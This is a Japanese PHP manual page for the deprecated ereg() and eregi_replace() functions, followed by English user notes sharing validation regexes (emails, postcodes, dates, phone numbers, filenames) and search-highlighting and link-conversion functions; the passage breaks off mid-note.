変更履歴

バージョン | 説明
4.1.0 | PHP 4.1.0 以前(4.1.0 を含む)のバージョンでは、$regs にはちょうど 10 個の要素が代入されました。これは、実際にマッチした 括弧付きのサブ文字列が 10 より多くても少なくても同じでした。ただし、 ereg() にはより多くの部分文字列にマッチする 能力があります。マッチするものが見付からなかった場合、 $regs は、ereg() により 書き換えられません。

例

例1 ereg() の例

以下のサンプルコードは、ISO フォーマット(YYYY-MM-DD) で格納されている 日付を DD.MM.YYYY フォーマットで表示するものです。

<?php
if (ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})", $date, $regs)) {
    echo "$regs[3].$regs[2].$regs[1]";
} else {
    echo "Invalid date format: $date";
}
?>

参考

  • eregi() - 大文字小文字を区別せずに正規表現によるマッチングを行う
  • ereg_replace() - 正規表現による置換を行う
  • eregi_replace() - 大文字小文字を区別せずに正規表現による置換を行う
  • preg_match() - 正規表現によるマッチングを行う
  • strpos() - 文字列内の部分文字列が最初に現れる場所を見つける
  • strstr() - 文字列が最初に現れる位置を見つける
  • quotemeta() - メタ文字をクォートする

User Contributed Notes

todesnudel at operamail dot com 18-May-2018 12:41
"If the optional parameter regs was not passed or the length of the matched string is 0, this function returns 1."

This is very confusing. Reads as ereg() will always return 1 if you don't pass the OPTIONAL parameter. If that was the case, the parameter wouldn't be optional as the function would be completly useless without it. Of course the function ereg() still returns 0 if no match was found.
eng dot emad_2010 at yahoo dot com 28-Nov-2013 04:24
eregi   &   preg_match()  what difference

Find page title
------------------
This handy code snippet will find and print the text within the <title> and </title> tags of a html page.

Find_ page_ title_by_eregi.php
----------------------------------

<?php

$fp = fopen("http://www.w3schools.com/default.asp","r");
while (!feof($fp) ){
$page .= fgets($fp, 4096);
}

$titre = eregi("<title>(.*)</title>",$page,$regs);

// reg exp is without /  /  and flexible

print_r($regs);
echo "<br/>";
//  Array ( [0] => [1] => W3Schools Online Web Tutorials )

echo $regs[1] ;
// W3Schools Online Web Tutorials

fclose($fp);

?>

======================================

Find_ page_ title _by_preg_match_all.php
-----------------------------------------------

<?php

$fp = fopen("http://www.w3schools.com/default.asp","r");
while (!feof($fp) ){
$page .= fgets($fp, 4096);
}

preg_match_all("/<title>(.*)<\/title>/i",$page,$regs);

//  reg exp must with  /  /  and not  flexible

print_r($regs);
echo "<br/>";
//  Array ( [0] => Array ( [0] => ) [1] => Array ( [0] => W3Schools Online Web Tutorials ) )

echo $regs[1][0];
// W3Schools Online Web Tutorials

fclose($fp);

?>
parsaj at gmail dot com 22-Apr-2009 03:33
Here a little clear and easy script
that I wrote to validate an E-Mail Input.

I tried to understand ereg,
but the describtion on php.net did not help me,
so I made some research and finally (think)
that Im sure how to use ereg.

The following function works for me well and allows
an E-Mail to contain the following characters:
"A-Z, a-z, 0-9, . , - , _ "

<?php
function validateMail($mail) {
    if($mail !== "") {
        if(!ereg("^[A-Za-z0-9\.|-|_]*
          [@]{1}[A-Za-z0-9\.|-|_]*[.]{1}[a-z]{2,5}$", $mail)) {
        echo "wrong Input for E-Mail";
        $mail ="";
        return $mail;
         }
        else {
        return $mail;
        }
    }
}
?>

to make it clear:
^ means begin here (startpoint of ereg)
$ means end here (endpoint of ereg)
* stand for endless characters (I want A-Z, a-z, 0-9 and the other characters to apear from 0 to endless
optional you can write {1,5} for
min 1 times a character or max 5 times a
characters instead of *
{1,2} means min 1 time a character and max 2 times a character (optional you can write * intead of {1,2}
{1} stand for max 1 time a character
\ means from here special characters (like .-_$ and so on)
| means OR
Anonymous 16-Jan-2009 12:20
Recognizing E-mail Addresses

worth noting: a valid e-mail may contain a + character.

for example:
if you send e-mail to myemail+something@gmail.com, gmail reroutes it to the account myemail@gmail.com. This is a useful feature, and it is very frustrating when websites that take your e-mail don't allow you to do this.
hreisin at gmail dot com 21-Nov-2008 01:50
Hi,
for those looking for email adress PHP validation,
isemail is a javascrit function that checks the following conditions for the email string:

   ? only one @ sign permitted
   ? domain extension separator (.) must come after the @ symbol
   ? must be at least 2 characters (letters) after the domain extension separator (.)
   ? rejects all illegal characters including spaces.
   ? Allows only numbers, letters, the underscore (_) and the dash (-) character as valid input
     (excluding the mandatory "@" and "." symbols).
   ? Minimum of 6 characters

The following pattern satisfy all-in-one for the ereg function:
$pattern = "^([A-Za-z0-9\.|-|_]{1,60})([@])";
$pattern .="([A-Za-z0-9\.|-|_]{1,60})(\.)([A-Za-z]{2,3})$";

ereg($pattern,$email)
pascalaschwandenPLEASENOSPAM at gmail dot com 18-Jul-2008 06:16
Here is a series of useful regular expressions.

<?php
function isValid($type,$var) {
 $valid = false;
 switch ($type) {
  case "IP":
   if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$',$var)) {
    $valid = true;
   }
   break;
  case "URL":
   if (ereg("^[a-zA-Z0-9\-\.]+\.(com|org|net|mil|edu)$",$var)) {
    $valid = true;
   }
   break;
  case "SSN":
   if (ereg("^[0-9]{3}[- ][0-9]{2}[- ][0-9]{4}|[0-9]{9}$",$var)) {
    $valid = true;
   }
   break;
  case "CC":
   if (ereg("^([0-9]{4}[- ]){3}[0-9]{4}|[0-9]{16}$",$var)) {
    $valid = true;
   }
   break;
  case "ISBN":
   if (ereg("^[0-9]{9}[[0-9]|X|x]$",$var)) {
    $valid = true;
   }
   break;
  case "Date":
   if (ereg("^([0-9][0-2]|[0-9])\/([0-2][0-9]|3[01]|[0-9])\/[0-9]{4}|([0-9][0-2]|[0-9])-([0-2][0-9]|3[01]|[0-9])-[0-9]{4}$",$var)) {
    $valid = true;
   }
   break;
  case "Zip":
   if (ereg("^[0-9]{5}(-[0-9]{4})?$",$var)) {
    $valid = true;
   }
   break;
  case "Phone":
   if (ereg("^((\([0-9]{3}\) ?)|([0-9]{3}-))?[0-9]{3}-[0-9]{4}$",$var)) {
    $valid = true;
   }
   break;
  case "HexColor":
   if (ereg('^#?([a-f]|[A-F]|[0-9]){3}(([a-f]|[A-F]|[0-9]){3})?$',$var)) {
    $valid = true;
   }
   break;
  case "User":
   if (ereg("^[a-zA-Z0-9_]{3,16}$",$var)) {
    $valid = true;
   }
   break;
 }
 return $valid;
}

#Example:
$phone = "789-1234";
if (isValid("Phone",$phone)) {
 echo "Valid Phone Number";
} else {
 echo "Invalid Phone Number";
}
?>
Jeff K. 18-Jul-2008 01:16
In reply to Francis,

Your regular expression:
$pattern = "^(\()?([0-9]{3})(\))?( )?([0-9]{3})( )?(\-)?( )?([0-9]{4})$";

I actually used this to validate a phone number. The one discrepancy I found is with patterns such as 503-555-1212, 503-5551212, [503]5551212, and every other pattern that does not have single whitespace or a dash as a delimiter, ereg() will return false when given your expression.

Based on your pattern, I came up with a more general and concise version making use of the dot meta-character:
$pattern = "^.?[0-9]{3}.?.?[0-9]{3}.?[0-9]{4}$";

When passed to ereg(), it will return "true" so long as there is 10 digits, regardless of the delimiter chosen by the user.

[503] 5551212 //true
5035551212 //true
503+555 1212//true

$pattern = "^(\()?([0-9]{3})(\))?( )?([0-9]{3})( )?(\-)?( )?([0-9]{4})$";
Jeremy M at unitydc dot co dot uk 23-May-2008 05:11
UK postcode validation.

We've used the expression put forward by tomas and jaik,
but we found that it fails on Coventry (CV) postcodes.

Here is an alternative that works for these postcodes and
also adds support for the Overseas Territories like Tristan da Cunha.

<?php

function IsPostcode($postcode) {
    $postcode = strtoupper($postcode);
    if(ereg("((GIR 0AA)|(TDCU 1ZZ)|(ASCN 1ZZ)|(BIQQ 1ZZ)|(BBND 1ZZ)"
."|(FIQQ 1ZZ)|(PCRN 1ZZ)|(STHL 1ZZ)|(SIQQ 1ZZ)|(TKCA 1ZZ)"
."|[A-PR-UWYZ]([0-9]{1,2}|([A-HK-Y][0-9]"
."|[A-HK-Y][0-9]([0-9]|[ABEHMNPRV-Y]))"
."|[0-9][A-HJKS-UW]) [0-9][ABD-HJLNP-UW-Z]{2})", $postcode)) {
        return $postcode;
    } else {
        return FALSE;
    }
}

?>
John Thur 02-Apr-2008 11:29
<?php
function fractionstr2decimal($fs){
        if (is_numeric($fs)){
                return $fs;
        } elseif (ereg ("([0-9]{1,6}[ ])?([0-9]{1,6})\/([0-9]{0,6}[1-9][0-9]{0,6})", $fs, $regs)) {
        /* ({1-6 digits}space  optional) {1-6 digits}/(1-13 digits with at least one digit not 0 )*/
                return ($regs[1]+$regs[2]/$regs[3]);
        } else {
                return (NULL); /* Invalid Fraction */
        }
}

echo fractionstr2decimal("1024 5/132")."<br>";   /* 1024.0378787879  */
echo fractionstr2decimal("23")."<br>";           /* 23 */

$i=fractionstr2decimal("1 2/3");
echo "<br>$i";                                  /* 1.66666666666667 */
if ($i and $i<=1 ) echo "<1<br>";               /*  */
$i=fractionstr2decimal("2/3");
echo "<br>$i";                                  /*  0.66666666666667 */
if ($i and $i<=1 ) echo "<1<br>";               /*  <1 */
$i=fractionstr2decimal("2/0");
echo "<br>$i";
if ($i and $i<=1 ) echo "<1<br>";
?>
E. Stuart Hicks 27-Feb-2008 11:23
It's important to note for certain regular expression that your $regs[] array will only contain as many values as you have sets of parenthesis in your regexp. (plus 1, of course)  For example, the regexp below was designed to locate tags enclosed in <> characters inside a string:

<?php ereg("^([^<]*)(<[^>]+>[^<]*)*$", $str, $tags) ?>

This will *not* create an arbitrarily long array in $tags for the number of tags that it finds.  Given the string "This <has> a <couple> of <tags> in it", you'll see:

0 : This <has> a <couple> of <tags> in it
1 : This
2 : <tags> in it

Since the same parenthesized section of the regexp is matching all tags found, it overwrites the same section of the array.  If you try increasing the number of parenthesis, it just creates duplicates of the same result.
Will 01-Feb-2008 07:47
There is undocumented behaviour for this command!

You cannot check for strings of 1-256 characters or longer.

For example, this will evaluate to true:

ereg("^[a-zA-Z0-9' ]{1,255}$","ghfhg");

But this will give the error:
PHP Warning:  ereg(): REG_BADBR

ereg("^[a-zA-Z0-9' ]{1,256}$","ghfhg");

PHP version (on Windows XP):

PHP 5.2.5 (cli) (built: Nov  8 2007 23:18:51)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
savage 28-Jan-2008 08:38
This is a fix for days over 31 and shorter version
^(([1]{1}[0-2]{1}|[0]{0,1}[1-9]{1})[\-]{1}([0-2]{0,1}\d{1|
[3]{1,1}[0-1]{1})[\-]{1}[1-2]{1}\d{3}|([0-2]{0,1}\d{1}|
[3]{1,1}[0-1]{1})[\-]{1}([1]{1}[0-2]{1}|[0]{0,1}[1-9]{1})
[\-]{1}[1-2]{1}\d{3}|[1-2]{1}\d{3}[\-]{1}([1]{1}[0-2]{1}|
[0]{0,1}[1-9]{1})[\-]{1}([0-2]{0,1}\d{1}|[3]{1,1}[0-1]{1}))$
savage at gmail dot com 27-Jan-2008 08:48
This is a date regexp that I made to allow different combinations of month, day, and year. it's rather long but it works.

(^([0-3]{0,1})([1-9]{1,1})([\-]{1,1})(([1]{1,1})([0-2]{1,1})|
([0]{0,1})([1-9]{1,1}))([\-]{1,1})([1-2]{1,1})(\d{3})$)|
(^(([1]{1,1})([0-2]{1,1})|([0]{0,1})([1-9]{1,1}))([\-]{1,1})
([0-3]{0,1})([1-9]{1,1})([\-]{1,1})([1-2]{1,1})(\d{3})$)|
(^([1-2]{1,1})(\d{3})([\-]{1,1})(([1]{1,1})([0-2]{1,1})|
([0]{0,1})([1-9]{1,1}))([\-]{1,1})([0-3]{0,1})([1-9]{1,1})$)

yyyy-mm-dd, mm-dd-yyyy, dd-mm-yyyy
2007-02-05
12-25-2007
25-02-2007
2-5-2007
25-2-2007
2007-9-23
09-06-2007
09-23-2007
The above will check valid

Anything not in one of the combinations of dd,mm,yyyy formats above will fail.

these will also fail
2007-32-12
13-22-2007
0-1-2007
1-0-2007

Any sugestions on making it smaller and more efficients would be appreciated.
notbald at gmail spam away com 11-Jul-2007 01:26
Save yourself some headache and time, don't use the \d (digits) \w (alphanumeric) and \s (whitespace) short forms. Not only do they make the code less readable, they don't seem to work with ereg.

Use [0-9], [A-Za-z0-9], [ \n\r\t] instead.

Since the regex example in this article is a bit on the complex side, I'll throw in a simpler regex example:

Say you want to validate valid variable names:

<?php
$regex_valid_variable_name = '^[A-Za-z_][A-Za-z0-9_]*$';

// ^ in this context means that the regex is anchored
// to the beginning of the string.
//
// A single [xxx] means that a single letter must mach
// the criteria within
//
// The [xxx]* means that [xxx] can mach from zero to
// unlimited times.
//
// The $ is another anchor, except it is for the end of
// the sting.

// Valid names: "_", "hello1", "a_variable"
// Invalid names: "4number", "five-to", "one two", " space "

//Test it out:
$regx = $regx_valid_variable_name;
$valid = array ( '_', 'hello1', 'a_variable' );
$invalid = array ( '4number', 'five-to', 'one two', ' space ');
foreach($valid as $v)
    echo 'Valid '.(ereg($regx, $v) ? 'yes' : '<b>no</b>') . ": $v<br />\n";

foreach($invalid as $v)
    echo 'Invalid '.(!ereg($regx, $v) ? 'yes' : '<b>no</b>') . ": $v<br />\n";
?>
jaik at fluidcreativity dot co dot uk 31-Aug-2006 08:41
Here is a fixed version of the UK postcode check function by tomas at phusis dot co dot uk. There was a bug on line 2 of the reg expression where a closing square-bracket was doubled-up ("]]" which should've been "]").

<?php
function IsPostcode($postcode) {
  $postcode = strtoupper(str_replace(chr(32),'',$postcode));
  if(ereg("^(GIR0AA)|(TDCU1ZZ)|((([A-PR-UWYZ][0-9][0-9]?)|"
."(([A-PR-UWYZ][A-HK-Y][0-9][0-9]?)|"
."(([A-PR-UWYZ][0-9][A-HJKSTUW])|"
."([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))))"
."[0-9][ABD-HJLNP-UW-Z]{2})$", $postcode))
   return $postcode;
  else
   return FALSE;
}
?>
theppg_001 at hotmail dot com 19-Aug-2006 07:00
Ok well someone else posted this but if didn't work so I made my own.
I used this to check file names that are to be created on a server.
File names that start with a-Z or 0-9 and contain a-Z, 0-9, underscore(_), dash(-), and dot(.) will be accepted.
File names beginning with anything but a-Z or 0-9 will be rejected.
File names  containing anything other than above mentioned will also be rejected.

Here it is.
<?php
$result = ereg("(^[a-zA-Z0-9]+([a-zA-Z\_0-9\.-]*))$" , $filename);
?>
tomas at phusis dot co dot uk 06-Jun-2006 08:41
I could not find a definitive and 100% working function that validates the UK postcodes, so was forced to write one myself.
The authoritative source of information is

http://www.govtalk.gov.uk/gdsc/html/frames/PostCode.htm

which I amended with the new postcode for Tristan da Cunha.

Here is the ugly beast (don't wanna see regexp's ever again):

<?php
function IsPostcode($postcode) {
  $postcode = strtoupper(str_replace(chr(32),'',$postcode));
  if(ereg("^(GIR0AA)|(TDCU1ZZ)|((([A-PR-UWYZ][0-9][0-9]?)|"
."(([A-PR-UWYZ][A-HK-Y]][0-9][0-9]?)|"
."(([A-PR-UWYZ][0-9][A-HJKSTUW])|"
."([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))))"
."[0-9][ABD-HJLNP-UW-Z]{2})$", $postcode))
    return $postcode;
  else
    return FALSE;
}
?>
info at orgied dot com 21-Mar-2006 06:54
Here's a function i've created to return an array of each substring searched in a string.

<?
function Return_Substrings($text, $sopener, $scloser)
                {
                $result = array();

                $noresult = substr_count($text, $sopener);
                $ncresult = substr_count($text, $scloser);

                if ($noresult < $ncresult)
                        $nresult = $noresult;
                else
                        $nresult = $ncresult;

                unset($noresult);
                unset($ncresult);

                for ($i=0;$i<$nresult;$i++)
                        {
                        $pos = strpos($text, $sopener) + strlen($sopener);

                        $text = substr($text, $pos, strlen($text));

                        $pos = strpos($text, $scloser);

                        $result[] = substr($text, 0, $pos);

                        $text = substr($text, $pos + strlen($scloser), strlen($text));
                        }

                return $result;
                }
?>

Example :

<?
    $string = "<b>bonjour</b> a tous, <b>comment</b> allez-vous ?";

    $result = Return_Substrings($string, "<b>", "</b>");
?>
psonice (aat) gmail.com 14-Mar-2006 01:39
I wanted a more strict check for UK postcodes, and decided to do it by stripping all whitespace then using ereg:

<?php
$pcode=str_replace(" ","",$in_post_code);
if (!ereg('^[a-zA-Z]{1,2}[0-9]{1,2}[a-zA-Z]{0,1}[0-9]{1}[a-zA-Z]{2}$', $pcode))
{
    return false;
}
?>

Probably could be improved, as I've just started, but it matches everything listed on the post office spec.
ar_cat at shaw dot ca 14-Dec-2005 03:13
I had problem using is_numeric() to verify if user inputs is a number (including optional floating sign and decimals).  Instead I found this expression from http://www.regular-expressions.info/floatingpoint.html and modified it for a bit.

^[+-]?[0-9]*\.?[0-9]+$

/*
3.55      true
-3.55     true
+3.55    true
2456.90  true
34skd    false
23.      false
2dt6      false
*/

Note: mine doesn't have the exponent part; for matching number with exponents, visit the site above :)
net_navard at yahoo dot com 15-Nov-2005 07:35
Hello

I think this is not clear:

"the matches will be stored in the elements of the array regs. $regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched. "

Beacause By "substring," it means the string contained within the parenthesis.

But in that statement it isn't so clearly

With regards

Amir Hossein Estakhrian
Jason Smart knarlin at yahoo dot com dot au 16-Oct-2005 01:13
A common mistake seems to be trying to escape characters within a bracket
expression. Unlike the preg functions, backslash is always taken literally
within a bracket expression using the ereg functions. See
http://php.planetmirror.com/manual/en/function.eregi.php#57824
for more details.

Some of the posts here can be re-written to be much simpler.

16-Feb-2005 10:02
attempts to allow square brackets in a string with
^[a-zA-Z0-9 [.[.] [.].] ]{1,}$
Although this appears to work a less confusing means is
^[]a-zA-Z0-9[]{1,}$
The ] has to be the first character (after a possible ^) but the [ can be
anywhere as long as it is not in the middle of a range of course.

09-Apr-2005 11:52
Says that ereg("hi[:space:]*bob", $string)
doesnt work in php 4 and to use preg_match() instead.

The above quoted use is incorrect it should be
<?php ereg("hi[[:space:]]*bob", $string); ?>

I tested this with the following in php 4.3.3 and it works fine
<?php
//The hex codes are space, tab, line feed, vertical tab, form feed, carriage return
 $whitespace = "\x20\x09\x0a\x0b\x0C\x0d";
 $teststring = "hi".$whitespace."bob";
 $result = ereg ("hi[[:space:]]*bob", $teststring, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 11 characters
?>

23-May-2005 08:22
Says that ereg("^[' A-Za-Z]+$", $cardName); will not work.

The fault with the above is the range a-Z the capital Z comes before small a
and so this will fail. The following works fine
<?php
$cardname = "John 'Doe'";
$result = ereg("^[' A-Za-z]+$", $cardname, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 10 characters
?>

09-Sep-2005 11:01
Tries to escape with \ in a bracket expression
You cannot with ereg functions (preg you can) so
ereg("^([-a-zA-Z0-9_\.\!@#\$&\*\+\=\|])*$" , $var)
should be
<?php ereg("^([-a-zA-Z0-9_.!@#$&*+=|])*$", $var); ?>
Joel Weierman 22-Jun-2005 12:56
While this is relatively simple example, I was unable find a clean method of doing this anywhere else, so I thought I would post it here.

As part of a file upload package, I wanted to prevent the uploading of double byte character filenames and other special ASCII characters that may not work well on a Windows and/or Linux system. Here is the statement I ended up using which seems to have done the trick.

ereg("[^a-zA-Z0-9._-]", $file_name)
php at REMOVEMEkennel17 dot co dot uk 26-Apr-2005 07:00
After a lot of hard work I managed to create the following regular expression, which matches any HTML tag pair (i.e. opening and closing tag), as specified by tagname:

^(.*)(<[ \n\r\t]*tagname(>|[^>]*>))(.*)(<[ \n\r\t]*/[ \n\r\t]*tagname(>|[^>]*>))(.*)$

The expression is deliberately very forgiving of bad HTML - I wanted to match anything that could be reasonably accepted by a forgiving browser, rather than make it standards compliant. Whitespace is allowed between the tagname and the opening and closing tag symbols, and also between the / and the tagname for the closing tag.

For my own use, I have wrapped it in a function call, which you may find useful.  Here it is with a few notes. I hope somebody finds it useful.

- Mark Clements

<?php

function ereg_MatchedHTMLTags($tagname) {
    return "^(.*)(<[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)(<[ \\n\\r\\t]*/[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)$";
}

// Use with eregi to ensure case-insensitive match.
//        e.g. to split an HTML page based on body tag:
//             eregi(ereg_MatchedHTMLTags('body'), $Source, $Matches)

// The following values will be held in $Matches
//(marked values are unintended byproducts of the expression)
//           *[0] - the entire string ($Source).
//            [1] - everything before the opening tag
//            [2] - the opening tag, including all contents (i.e. everything between < and >)
//           *[3] - the opening tag from end of the tag name,
//                      e.g. '<body bgcolor="#000000">' gives ' bgcolor="#000000">'
//            [4] - the tag contents (everything between the opening and closing tag)
//            [5] - the complete closing tag.
//           *[6] - the closing tag from the end of the tag name
//                      e.g. '</body invalid text>' gives ' invalid text>'
//            [7] - everything after the closing tag.

?>


大文字小文字を区別せずに正規表現による置換を行う

  • ≪ ereg
  • eregi ≫
  • PHP Manual
  • POSIX 正規表現関数
  • 大文字小文字を区別せずに正規表現による置換を行う

eregi_replace

(PHP 4, PHP 5)

eregi_replace — 大文字小文字を区別せずに正規表現による置換を行う

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • preg_replace() (with the i (PCRE_CASELESS) modifier)

説明

eregi_replace ( string $pattern , string $replacement , string $string ) : string

この関数は、アルファベット文字をマッチングさせる際に大文字 小文字の区別をしないこと以外は ereg_replace() と同じです。

パラメータ

pattern

POSIX 拡張正規表現。

replacement

pattern の中に括弧でくくられた部分 文字列が含まれている場合、replacement の中に \数字 のような部分文字列を埋め込むこともできます。この部分は、 「数字」番目の括弧でくくられた部分文字列にマッチする文字列に 置き換えられます。また、\0 は文字列全体を 指します。9 個までの部分文字列を使うことができます。括弧は 入れ子になっていても構いません。この場合は開き括弧 '(' が 最大 9 個まで使用可能です。

string

入力文字列。

返り値

置換後の文字列を返します。 マッチしなかった場合は、元の文字列をそのまま返します。

例

例1 検索結果の強調表示

<?php
$pattern = '(>[^<]*)('. quotemeta($_GET['search']) .')';
$replacement = '\\1<span class="search">\\2</span>';
$body = eregi_replace($pattern, $replacement, $body);
?>

参考

  • ereg() - 正規表現によるマッチングを行う
  • eregi() - 大文字小文字を区別せずに正規表現によるマッチングを行う
  • ereg_replace() - 正規表現による置換を行う
  • preg_replace() - 正規表現検索および置換を行う
  • quotemeta() - メタ文字をクォートする

User Contributed Notes

dave at bevhost dot com 06-Jan-2012 12:22
The easiest function to replace this with is mb_eregi_replace(),
which is the mutibyte version that works on unicode characters such as chinese letters in your strings.
jgriggs777 at yahoo dot com 06-Jun-2008 07:26
My apologies.  I'm a PHP newbie and the count function didn't work right if you have more than one "keyword".  I searched and spent a long time to get this to work right, so wanted to share it.

This is very easy to use by doing the following.

$text - is the text to search
$words - are the words to highlight (search text)
$the_place - is so that you can tell your users what "area" was searched.

<?php

function highlight_this($text, $words, $the_place) {
    $words = trim($words);
    $the_count = 0;
    $wordsArray = explode(' ', $words);
        foreach($wordsArray as $word) {
         if(strlen(trim($word)) != 0)

         //exclude these words from being replaced
         $exclude_list = array("word1", "word2", "word3");
        // Check if it's excluded
        if ( in_array( strtolower($word), $exclude_list ) ) {

        } else {
            $text = str_ireplace($word, "<span class=\"highlight\">".strtoupper($word)."</span>", $text, $count);
            $the_count = $count + $the_count;
            }

    }
    //added to show how many keywords were found
    echo "<br><div class=\"emphasis\">A search for <strong>" . $words. "</strong> found <strong>" . $the_count . "</strong> matches within the " . $the_place. ".</div><br>";

    return $text;
}

//example of how to use
$text_to_highlight = highlight_this($text_to_highlight, $search_text, "Place you searched");

?>
jgriggs777 at yahoo dot com 05-Jun-2008 12:56
I modified the script from the note below this one so that you could show how many matches were found.  I know this should probably be posted in the str_ireplace() area, so I will post it there afterwards.

$text - is the text to search
$words - are the words to highlight (search text)
$the_place - is so that you can tell your users what "area" was searched.

<?php
function highlight_this($text, $words, $the_place) {
    $words = trim($words);
    $wordsArray = explode(' ', $words);
    foreach($wordsArray as $word) {
        if(strlen(trim($word)) != 0)
            $text = str_ireplace($word, "<span class=\"highlight\">".strtoupper($word)."</span>", $text, $count);
    }
    //added to show how many keywords were found
    echo "<br><div class=\"emphasis\">A search for <strong>" . $words. "</strong> found <strong>" . $count . "</strong> matches within the " . $the_place. ".</div><br>";

    //end script modification
    return $text;
}
?>
a dot dotreppe at gmail dot com 20-May-2008 03:49
Hi everyone.
I saw a lot of highlighting functions, but no one was simple... maybe I missed a part of discussion ?

Anyway, I think this function is the easiest:

<?php
function highlight($text, $words) {
    $words = trim($words);
    $wordsArray = explode(' ', $words);
    foreach($wordsArray as $word) {
        if(strlen(trim($word)) != 0)
            $text = eregi_replace($word, '<span class="highlight">\\0</span>', $text);
    }
    return $text;
}
?>
dan at dotgospel dot com 22-Feb-2008 07:30
/*******************************************************
Function highlights the text. You can replace the html tags with whatever you like. $x is the string, $var is the string to be highlighted. We explode the string to highlight more than one word.
*/

function highlight($x,$var) {
    $var = explode(" ",$var);

   for($j=0; $j< count($var); $j++){
        $xtemp = "";
        $i=0;
        while($i<strlen($x)){
            if((($i + strlen($var[$j])) <= strlen($x)) && (strcasecmp($var[$j], substr($x, $i, strlen($var[$j]))) == 0)) {
                    $xtemp .= "<b>" . substr($x, $i , strlen($var[$j])) . "</b>";
                    $i += strlen($var[$j]);
            }
            else {
                $xtemp .= $x{$i};
                $i++;
            }
        }
        $x = $xtemp;
    }
    return $x;
}
mp3spl at o2 dot pl 23-Dec-2007 04:40
Nice way to highlight that what someone search.

For example is some one search for "Wire Mobile 6"

It will highlight every word separated even if found "Wire Xp and some mobile stuff"

© and ® are importiant, because without special signs, string in second turn will convert also <span class="searchtext">
which will be already in text.

<?

$searchcolor = explode(' ',$search);
$ilosc = count($searchcolor);
$ilosc2 = "0";
while ($ilosc2 != $ilosc ) {
$name = eregi_replace ($searchcolor[$ilosc2],'©'.$searchcolor[$ilosc2].'®',$name);
$ilosc2++;
        }
$name = str_replace('©','<span class="searchtext">',$name);
$name = str_replace('®','</span>',$name);

echo $name;

?>
augusto at fagioli dot biz 21-Dec-2007 12:50
related to the private at sfiac dot net function,
please note that you  can add a dot in the

$c=ereg_replace".
   "("[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*",".
   "$e,$c);

having it to find email address like user.name@test.com

this is my example
$c=ereg_replace".
   "("[-a-z0-9.!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*",".
   "$e,$c);
webmaster at hhgroups dot com 28-Nov-2007 01:24
Your remove links functions are incorrect if there are a php var in the URL, we have to add '?' character inside our pattern, I have three this function working correctly with php vars:

function transformUrl($str){
    $str=utf8_decode(urldecode($str));
    $str=eregi_replace("(^| |>)(www([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"http://\\2\">Look link</a>", $str);
    $str=eregi_replace("(^| |>)(http://www([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"\\2\">Look link</a>", $str);
    $str=eregi_replace("(^| |>)(http://([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"\\2\">Look link</a>", $str);
    return utf8_encode($str);
}
php[at]drixe[dot]net 24-Jun-2007 12:49
Melissa,
This one is a better setup for your marvelous code.
It handles Melissa Magic and also Magic Melissa

function underline($subject, $word)
        {
        $mywords = explode(" ",$word);
        for ($j=0;$j<count($mywords);$j++)
            {
            $regex_chars = '\.+?(){}[]^$';
            for ($i=0; $i<strlen($regex_chars); $i++)
                {
                $char = substr($regex_chars, $i, 1);
                $mywords[$j] = str_replace($char, '\\'.$char, $mywords[$j]);
                }
            $mywords[$j] = '(.*)('.$mywords[$j].')(.*)';
            $subject =  eregi_replace($mywords[$j], '\1<span style="background:#ACA;padding:0;margin:0;">\2</span>\3', $subject);
            }
        return $subject;
        }
spiritualmind at gmail dot com 11-Jun-2007 08:19
eregi_replace seems not to deal with UTF8 chars !
I needed to utf8_decode / encode my string to parse it in eregi_replace :

<?php
  $input = "string_from_utf8_form" ;
  $output = utf8_encode(eregi_replace("(pattern)", "replacement", utf8_decode($input)) ;

 echo $output ;
?>

I think UTF8 is not totally supported by PHP.
Vladimir Luchaninov 22-Oct-2006 07:38
If you have plain text e-mails and links but need to make them real links

<?
function replaceLinks($text) {
    // convert support@pogoda.in into
    // <a href="mailto:support@pogoda.in">
    // support@pogoda.in</a>
    $text = ereg_replace('[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*',
        '<a href="mailto:\\0">\\0</a>',$text);

    // convert http://www.pogoda.in/new_york/eng/ into
    // <a href="http://pogoda.in/new_york/eng/">
    // pogoda.in/new_york/eng/</a>
    $text = ereg_replace('[a-zA-Z]+://(([.]?[a-zA-Z0-9_/-])*)',
        '<a href="\\0">\\1</a>',$text);

    // convert www.pogoda.in/new_york/eng/ into
    // <a href="http://www.pogoda.in/new_york/eng/">
    // www.pogoda.in/new_york/eng/</a>
    $text = ereg_replace('(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)',
        ' <a href="http://\\2">\\2</a>',$text);

    return $text;
}
?>
carlos at braziland dot com 15-May-2006 05:11
@bluedragonx at gmail dot com: Now you're calling two functions instead of one. I'm trully curious if that would still be faster.

My original post was just to highlight the need to escape characters that could be used to abuse a contact form. Something everyone should do, especially if doing it for a customer.

But bluedragonx, thanks for your input.
melissa at melissagirl dot com 14-Apr-2006 09:28
Here's a nice case-insensitive highlight function that ignores any regular expression characters and highlights a word and leaves it in whatever case it was before:

<?
function highlight($word, $subject) {
    $regex_chars = '\.+?(){}[]^$';
    for ($i=0; $i<strlen($regex_chars); $i++) {
        $char = substr($regex_chars, $i, 1);
        $word = str_replace($char, '\\'.$char, $word);
    }
    $word = '(.*)('.$word.')(.*)';
    return eregi_replace($word, '\1<span class="highlight">\2</span>\3', $subject);
}
?>
02-Nov-2005 03:06
@bluedragonx: You're right. And i got the order of the params wrong as well, must've been sleepy when i wrote that note. For what it's worth:

